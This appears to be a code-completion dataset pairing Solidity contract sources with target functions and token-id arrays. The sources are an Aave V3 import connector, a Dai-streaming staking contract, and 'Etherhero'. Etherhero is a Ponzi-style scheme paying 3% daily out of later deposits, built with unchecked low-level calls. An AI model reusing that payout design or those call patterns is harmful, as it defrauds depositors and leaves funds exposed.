memory amts, address user ) internal { for (uint256 i = 0; i < _length; i++) { if (amts[i] > 0) { _paybackBehalfOne(aave, tokens[i], amts[i], 2, user); } } } function _TransferAtokens( uint256 _length, AaveInterface aave, ATokenInterface[] memory atokenContracts, uint256[] memory amts, address[] memory tokens, address userAccount ) internal { for (uint256 i = 0; i < _length; i++) { if (amts[i] > 0) { uint256 _amt = amts[i]; require( atokenContracts[i].transferFrom( userAccount, address(this), _amt ), "allowance?" ); if (!getIsColl(tokens[i], address(this))) { aave.setUserUseReserveAsCollateral(tokens[i], true); } } } } function _BorrowVariable( uint256 _length, AaveInterface aave, address[] memory tokens, uint256[] memory amts ) internal { for (uint256 i = 0; i < _length; i++) { if (amts[i] > 0) { _borrowOne(aave, tokens[i], amts[i], 2); } } } function _BorrowStable( uint256 _length, AaveInterface aave, address[] memory tokens, uint256[] memory amts ) internal { for (uint256 i = 0; i < _length; i++) { if (amts[i] > 0) { _borrowOne(aave, tokens[i], amts[i], 1); } } } function _borrowOne( AaveInterface aave, address token, uint256 amt, uint256 rateMode ) private { aave.borrow(token, amt, rateMode, referalCode, address(this)); } } pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; contract Events { event LogAaveV3Import( address indexed user, address[] ctokens, string[] supplyIds, string[] borrowIds, uint256[] flashLoanFees, uint256[] supplyAmts, uint256[] borrowAmts ); } pragma solidity ^0.7.0; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; contract DSMath { uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function add(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(x, y); } function sub(uint x, uint y) internal virtual pure returns (uint z) { z = SafeMath.sub(x, y); } function mul(uint x, uint y) internal pure returns (uint z) { z = SafeMath.mul(x, y); } function div(uint x, uint y) internal pure returns (uint z) { z = SafeMath.div(x, y); } function wmul(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, y), WAD / 2) / WAD; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, RAY), y / 2) / y; } function rmul(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, y), RAY / 2) / RAY; } function toInt(uint x) internal pure returns (int y) { y = int(x); require(y >= 0, "int-overflow"); } function toRad(uint wad) internal pure returns (uint rad) { rad = mul(wad, 10 ** 27); } } pragma solidity ^0.7.0; import { TokenInterface } from "./interfaces.sol"; import { Stores } from "./stores.sol"; import { DSMath } from "./math.sol"; abstract contract Basic is DSMath, Stores { function convert18ToDec(uint _dec, uint256 _amt) internal pure returns (uint256 amt) { amt = (_amt / 10 ** (18 - _dec)); } function convertTo18(uint _dec, uint256 _amt) internal pure returns (uint256 amt) { amt = mul(_amt, 10 ** (18 - _dec)); } function getTokenBal(TokenInterface token) internal view returns(uint _amt) { _amt = address(token) == ethAddr ? address(this).balance : token.balanceOf(address(this)); } function getTokensDec(TokenInterface buyAddr, TokenInterface sellAddr) internal view returns(uint buyDec, uint sellDec) { buyDec = address(buyAddr) == ethAddr ? 18 : buyAddr.decimals(); sellDec = address(sellAddr) == ethAddr ? 18 : sellAddr.decimals(); } function encodeEvent(string memory eventName, bytes memory eventParam) internal pure returns (bytes memory) { return abi.encode(eventName, eventParam); } function approve(TokenInterface token, address spender, uint256 amount) internal { try token.approve(spender, amount) { } catch { token.approve(spender, 0); token.approve(spender, amount); } } function changeEthAddress(address buy, address sell) internal pure returns(TokenInterface _buy, TokenInterface _sell){ _buy = buy == ethAddr ? TokenInterface(wethAddr) : TokenInterface(buy); _sell = sell == ethAddr ? TokenInterface(wethAddr) : TokenInterface(sell); } function changeEthAddrToWethAddr(address token) internal pure returns(address tokenAddr){ tokenAddr = token == ethAddr ? wethAddr : token; } function convertEthToWeth(bool isEth, TokenInterface token, uint amount) internal { if(isEth) token.deposit{value: amount}(); } function convertWethToEth(bool isEth, TokenInterface token, uint amount) internal { if(isEth) { approve(token, address(token), amount); token.withdraw(amount); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } pragma solidity ^0.7.0; import { MemoryInterface, InstaMapping } from "./interfaces.sol"; abstract contract Stores { /** * @dev Return ethereum address */ address constant internal ethAddr = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** * @dev Return Wrapped ETH address */ address constant internal wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; /** * @dev Return memory variable address */ MemoryInterface constant internal instaMemory = MemoryInterface(0x8a5419CfC711B2343c17a6ABf4B2bAFaBb06957F); /** * @dev Return InstaDApp Mapping Addresses */ InstaMapping constant internal instaMapping = InstaMapping(0xe81F70Cc7C0D46e12d70efc60607F16bbD617E88); /** * @dev Get Uint value from InstaMemory Contract. */ function getUint(uint getId, uint val) internal returns (uint returnVal) { returnVal = getId == 0 ? val : instaMemory.getUint(getId); } /** * @dev Set Uint value in InstaMemory Contract. */ function setUint(uint setId, uint val) virtual internal { if (setId != 0) instaMemory.setUint(setId, val); } }
* @dev Import aave V3 position . @notice Import EOA's aave V3 position to DSA's aave v3 position @param userAccount The address of the EOA from which aave position will be imported @param inputData The struct containing all the neccessary input data/
function importAave(address userAccount, ImportInputData memory inputData) external payable returns (string memory _eventName, bytes memory _eventParam) { (_eventName, _eventParam) = _importAave(userAccount, inputData); }
6,087,834
[ 1, 5010, 279, 836, 776, 23, 1754, 263, 225, 6164, 512, 28202, 1807, 279, 836, 776, 23, 1754, 358, 463, 5233, 1807, 279, 836, 331, 23, 1754, 225, 729, 3032, 1021, 1758, 434, 326, 512, 28202, 628, 1492, 279, 836, 1754, 903, 506, 9101, 225, 24149, 1021, 1958, 4191, 777, 326, 290, 557, 614, 814, 810, 501, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 1930, 37, 836, 12, 2867, 729, 3032, 16, 6164, 1210, 751, 3778, 24149, 13, 203, 202, 202, 9375, 203, 202, 202, 10239, 429, 203, 202, 202, 6154, 261, 1080, 3778, 389, 2575, 461, 16, 1731, 3778, 389, 2575, 786, 13, 203, 202, 95, 203, 202, 202, 24899, 2575, 461, 16, 389, 2575, 786, 13, 273, 389, 5666, 37, 836, 12, 1355, 3032, 16, 24149, 1769, 203, 202, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT pragma solidity ^0.6.2; import "./node_modules/@openzeppelin/contracts/access/Ownable.sol"; import "./facades/ScarcityLike.sol"; import "./facades/ERC20Like.sol"; import "./node_modules/@openzeppelin/contracts/math/SafeMath.sol"; /** Rivulet is the SCX staking contract. All the rivulets make up Nimrodel Rivulet is seeded with a portion of Dai which is streamed to all stakers of Scarcity on a per second basis in proportion to their stake size. There is a global stream rate (Dai per Second) that is divided between Stakers. The global stream rate increases as more total Scarcity is staked. So that there are first and second order effects to staking. The first order effect of a new staker is to take a share of the stream from existing stakers. The second order effect is to increase the overall quantity staked and therefore increase the stream rate for everyone. */ contract Rivulet is Ownable { using SafeMath for uint256; uint256 constant ONE = 1 szabo; //what are smart contracts without Nick? ScarcityLike public scarcity; ERC20Like public dai; address public celeborn; mapping(address => uint256) public staked; mapping(address => uint256) public tickets; uint256 public totalTickets; mapping(address => uint256) public scxMultiple; //burning Scx gives an effective balance of 10x mapping(address => uint256) public damHeightAtJoin; //when calculating Dai, (dam-damHeightAtJoin)*SCX mapping(address => uint256) public ponds; // Dai accumulated per user uint256 public damHeight = ONE; // total growth as % since first deposit; // uint256 public totalEffectiveStaked; uint256 public maxTickets; //this acts as the denominator in adjusting the rate of flow uint256 public initialDai; //used to calculate aggregate flow uint256 public timeScale = 8 weeks; uint256 public burnMultiple = 10; //scxBurnt is staked at this multiple uint256 public ticketSize = 1000000 ether; // minimum SCX to stake; uint256 public lastDrip; //following from MakerDAO's pot, the growth must be calculated before deposit and withdrawal can be invoked. constructor() public { lastDrip = now; } function seed( address daiAddress, address scxAddress, address c, uint256 time, uint256 b, uint256 m ) public onlyOwner { dai = ERC20Like(daiAddress); scarcity = ScarcityLike(scxAddress); timeScale = time == 0 ? timeScale : time; burnMultiple = b; maxTickets = m; celeborn = c; } function setTicketParameters(uint256 t, uint256 m) public onlyOwner { ticketSize = t; maxTickets = m; } function setBurnMultiple(uint256 b) public onlyOwner { burnMultiple = b; } //where Dai meets Nimrodel. Don't call directly if you want to sponsor function celebrant(uint256 value) external { celebrant(msg.sender, value); } function celebrant(address sender, uint256 value) public { require( msg.sender == address(this) || msg.sender == celeborn, "not accessible to public" ); require( dai.transferFrom(sender, address(this), value), "dai transfer to Rivulet failed" ); uint256 newBalance = dai.balanceOf(address(this)); if (newBalance > initialDai) { initialDai = newBalance; } } function dripIfStale() public { if (now != lastDrip) drip(); } function drip() public { uint256 rightNow = now; if (totalTickets == 0) { lastDrip = rightNow; return; } uint256 timeSpan = rightNow > lastDrip ? rightNow - lastDrip : lastDrip; //avoid miner attacks uint256 flow = aggregateFlow(); uint256 aggregateDaiPerTicketPerSecond = flow.div(totalTickets); uint256 linearGrowth = aggregateDaiPerTicketPerSecond.mul(timeSpan); uint256 maxHeight = dai.balanceOf(address(this)).div(totalTickets); damHeight = damHeight.add(linearGrowth); damHeight = damHeight < maxHeight ? damHeight : maxHeight; lastDrip = now; } function fillPond(address sender) private { ponds[sender] += tickets[sender].mul( damHeight - damHeightAtJoin[sender] ); damHeightAtJoin[sender] = damHeight; } function drainPond() external { dripIfStale(); fillPond(msg.sender); uint256 daiToSend = ponds[msg.sender]; ponds[msg.sender] = 0; require(dai.transfer(msg.sender, daiToSend), "dai transfer failed"); } function stake(uint256 stakeValue, uint256 burnValue) external { dripIfStale(); uint256 stakeTrunc = stakeValue.sub(stakeValue.mod(ticketSize)); uint256 burnTrunc = burnValue.sub(burnValue.mod(ticketSize)); require(stakeTrunc + burnTrunc > 0, "no tickets purchased"); require( scarcity.transferFrom( msg.sender, address(this), stakeTrunc + burnTrunc ), "transfer of SCX failed" ); fillPond(msg.sender); uint256 ticketsCreated = (stakeTrunc + (burnMultiple * burnTrunc)) / ticketSize; tickets[msg.sender] = tickets[msg.sender].add(ticketsCreated); require( (totalTickets = totalTickets + ticketsCreated) <= maxTickets || maxTickets == 0, "rivulet has maxed out ticket sales." ); staked[msg.sender] = staked[msg.sender].add(stakeTrunc); if (burnTrunc > 0) { scarcity.burn(burnTrunc); } } function unstake(uint256 scx) external { uint256 stakeToWithdraw = scx > staked[msg.sender] ? staked[msg.sender] : scx; uint256 ticketsToUnstake = proportionMul( //possibly change stakeToWithdraw, staked[msg.sender], tickets[msg.sender] ); staked[msg.sender] = staked[msg.sender].sub(stakeToWithdraw); scarcity.transfer(msg.sender, stakeToWithdraw); if (tickets[msg.sender] == 0) { return; } dripIfStale(); fillPond(msg.sender); uint256 daiToSend = proportionMul( ticketsToUnstake, tickets[msg.sender], ponds[msg.sender] ); tickets[msg.sender] = tickets[msg.sender].sub(ticketsToUnstake); totalTickets = totalTickets.sub(ticketsToUnstake); ponds[msg.sender] = ponds[msg.sender].sub(daiToSend); dai.transfer(msg.sender, daiToSend); } function proportionMul( uint256 numerator, uint256 denominator, uint256 base ) private pure returns (uint256) { return (numerator.mul(ONE).div(denominator).mul(base)).div(ONE); } //do not allow max to be reached //Dai per second // NB: 'ware the fixed point dragons function aggregateFlow() public view returns (uint256 flow) { uint256 max = maxTickets == 0 ? scarcity.totalSupply() / ticketSize : maxTickets; uint256 denominator = max; uint256 numerator = ONE.mul(denominator.sub(totalTickets)); uint256 inflatedRatio = numerator.div(denominator); uint256 duration = (timeScale.mul(inflatedRatio)).div(ONE); flow = initialDai.div(duration); } }
do not allow max to be reachedDai per second NB: 'ware the fixed point dragons
function aggregateFlow() public view returns (uint256 flow) { uint256 max = maxTickets == 0 ? scarcity.totalSupply() / ticketSize : maxTickets; uint256 denominator = max; uint256 numerator = ONE.mul(denominator.sub(totalTickets)); uint256 inflatedRatio = numerator.div(denominator); uint256 duration = (timeScale.mul(inflatedRatio)).div(ONE); flow = initialDai.div(duration); }
6,446,513
[ 1, 2896, 486, 1699, 943, 358, 506, 8675, 40, 10658, 1534, 2205, 20096, 30, 296, 2726, 326, 5499, 1634, 8823, 7008, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7047, 5249, 1435, 1071, 1476, 1135, 261, 11890, 5034, 4693, 13, 288, 203, 3639, 2254, 5034, 943, 273, 943, 6264, 2413, 422, 374, 203, 5411, 692, 888, 11828, 560, 18, 4963, 3088, 1283, 1435, 342, 9322, 1225, 203, 5411, 294, 943, 6264, 2413, 31, 203, 3639, 2254, 5034, 15030, 273, 943, 31, 203, 3639, 2254, 5034, 16730, 273, 15623, 18, 16411, 12, 13002, 26721, 18, 1717, 12, 4963, 6264, 2413, 10019, 203, 3639, 2254, 5034, 13947, 690, 8541, 273, 16730, 18, 2892, 12, 13002, 26721, 1769, 203, 3639, 2254, 5034, 3734, 273, 261, 957, 5587, 18, 16411, 12, 267, 2242, 690, 8541, 13, 2934, 2892, 12, 5998, 1769, 203, 3639, 4693, 273, 2172, 40, 10658, 18, 2892, 12, 8760, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.25; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * In the event of the shortage of funds for the level payments * stabilization the contract of the stabilization fund provides backup support to the investment fund. */ contract EtherheroStabilizationFund { address public etherHero; uint public investFund; uint estGas = 200000; event MoneyWithdraw(uint balance); event MoneyAdd(uint holding); constructor() public { etherHero = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyHero() { require(msg.sender == etherHero, 'Only Hero call'); _; } function ReturnEthToEtherhero() public onlyHero returns(bool) { uint balance = address(this).balance; require(balance > estGas, 'Not enough funds for transaction'); if (etherHero.call.value(address(this).balance).gas(estGas)()) { emit MoneyWithdraw(balance); investFund = address(this).balance; return true; } else { return false; } } function() external payable { investFund += msg.value; emit MoneyAdd(msg.value); } } contract Etherhero{ using SafeMath for uint; // array containing information about beneficiaries mapping(address => uint) public userDeposit; //array containing information about the time of payment mapping(address => uint) public userTime; //fund fo transfer percent address public projectFund = 0xf846f84841b3242Ccdeac8c43C9cF73Bd781baA7; EtherheroStabilizationFund public stubF = new EtherheroStabilizationFund(); uint public percentProjectFund = 10; uint public percentDevFund = 1; uint public percentStubFund = 10; address public addressStub; //Gas cost uint estGas = 150000; uint standartPercent = 30; //3% uint responseStubFundLimit = 150; //15% uint public minPayment = 5 finney; //time through which you can take dividends uint chargingTime = 1 days; event NewInvestor(address indexed investor, uint deposit); event dividendPayment(address indexed investor, uint value); event NewDeposit(address indexed investor, uint value); //public variables for DAPP uint public counterDeposits; uint public counterPercents; uint public counterBeneficiaries; uint public timeLastayment; //Memory for user for DAPP struct Beneficiaries { address investorAddress; uint registerTime; uint percentWithdraw; uint ethWithdraw; uint deposits; bool real; } mapping(address => Beneficiaries) beneficiaries; constructor() public { addressStub = stubF; } //Add beneficiary record function insertBeneficiaries(address _address, uint _percentWithdraw, uint _ethWithdraw, uint _deposits) private { Beneficiaries storage s_beneficiaries = beneficiaries[_address]; if (!s_beneficiaries.real) { s_beneficiaries.real = true; s_beneficiaries.investorAddress = _address; s_beneficiaries.percentWithdraw = _percentWithdraw; s_beneficiaries.ethWithdraw = _ethWithdraw; s_beneficiaries.deposits = _deposits; s_beneficiaries.registerTime = now; counterBeneficiaries += 1; } else { s_beneficiaries.percentWithdraw += _percentWithdraw; s_beneficiaries.ethWithdraw += _ethWithdraw; } } //Get beneficiary record function getBeneficiaries(address _address) public view returns(address investorAddress, uint persentWithdraw, uint ethWithdraw, uint registerTime) { Beneficiaries storage s_beneficiaries = beneficiaries[_address]; require(s_beneficiaries.real, 'Investor Not Found'); return ( s_beneficiaries.investorAddress, s_beneficiaries.percentWithdraw, s_beneficiaries.ethWithdraw, s_beneficiaries.registerTime ); } modifier isIssetUser() { require(userDeposit[msg.sender] > 0, "Deposit not found"); _; } modifier timePayment() { require(now >= userTime[msg.sender].add(chargingTime), "Too fast payout request"); _; } function calculationOfPayment() public view returns(uint) { uint interestRate = now.sub(userTime[msg.sender]).div(chargingTime); //If the contribution is less than 1 ether, dividends can be received only once a day if (userDeposit[msg.sender] < 10 ether) { if (interestRate >= 1) { return (1); } else { return (interestRate); } } //If the contribution is less than 10 ether, dividends can be received only once a 3 day if (userDeposit[msg.sender] >= 10 ether && userDeposit[msg.sender] < 50 ether) { if (interestRate > 3) { return (3); } else { return (interestRate); } } //If the contribution is less than 50 ether, dividends can be received only once a 7 day if (userDeposit[msg.sender] >= 50 ether) { if (interestRate > 7) { return (7); } else { return (interestRate); } } } function receivePercent() isIssetUser timePayment internal { // verification that funds on the balance sheet are more than 15% of the total number of deposits uint balanceLimit = counterDeposits.mul(responseStubFundLimit).div(1000); uint payoutRatio = calculationOfPayment(); //calculate 6% of total deposits uint remain = counterDeposits.mul(6).div(100); if(addressStub.balance > 0){ if (address(this).balance < balanceLimit) { stubF.ReturnEthToEtherhero(); } } //If the balance is less than 6% of total deposits, stop paying require(address(this).balance >= remain, 'contract balance is too small'); uint rate = userDeposit[msg.sender].mul(standartPercent).div(1000).mul(payoutRatio); userTime[msg.sender] = now; msg.sender.transfer(rate); counterPercents += rate; timeLastayment = now; insertBeneficiaries(msg.sender, standartPercent, rate, 0); emit dividendPayment(msg.sender, rate); } function makeDeposit() private { uint value = msg.value; uint calcProjectPercent = value.mul(percentProjectFund).div(100); uint calcStubFundPercent = value.mul(percentStubFund).div(100); if (msg.value > 0) { //check for minimum deposit require(msg.value >= minPayment, 'Minimum deposit 1 finney'); if (userDeposit[msg.sender] == 0) { emit NewInvestor(msg.sender, msg.value); } userDeposit[msg.sender] = userDeposit[msg.sender].add(msg.value); userTime[msg.sender] = now; insertBeneficiaries(msg.sender, 0, 0, msg.value); projectFund.transfer(calcProjectPercent); stubF.call.value(calcStubFundPercent).gas(estGas)(); counterDeposits += msg.value; emit NewDeposit(msg.sender, msg.value); } else { receivePercent(); } } function() external payable { if (msg.sender != addressStub) { makeDeposit(); } } }
If the balance is less than 6% of total deposits, stop paying
require(address(this).balance >= remain, 'contract balance is too small');
1,082,794
[ 1, 2047, 326, 11013, 353, 5242, 2353, 1666, 9, 434, 2078, 443, 917, 1282, 16, 2132, 8843, 310, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
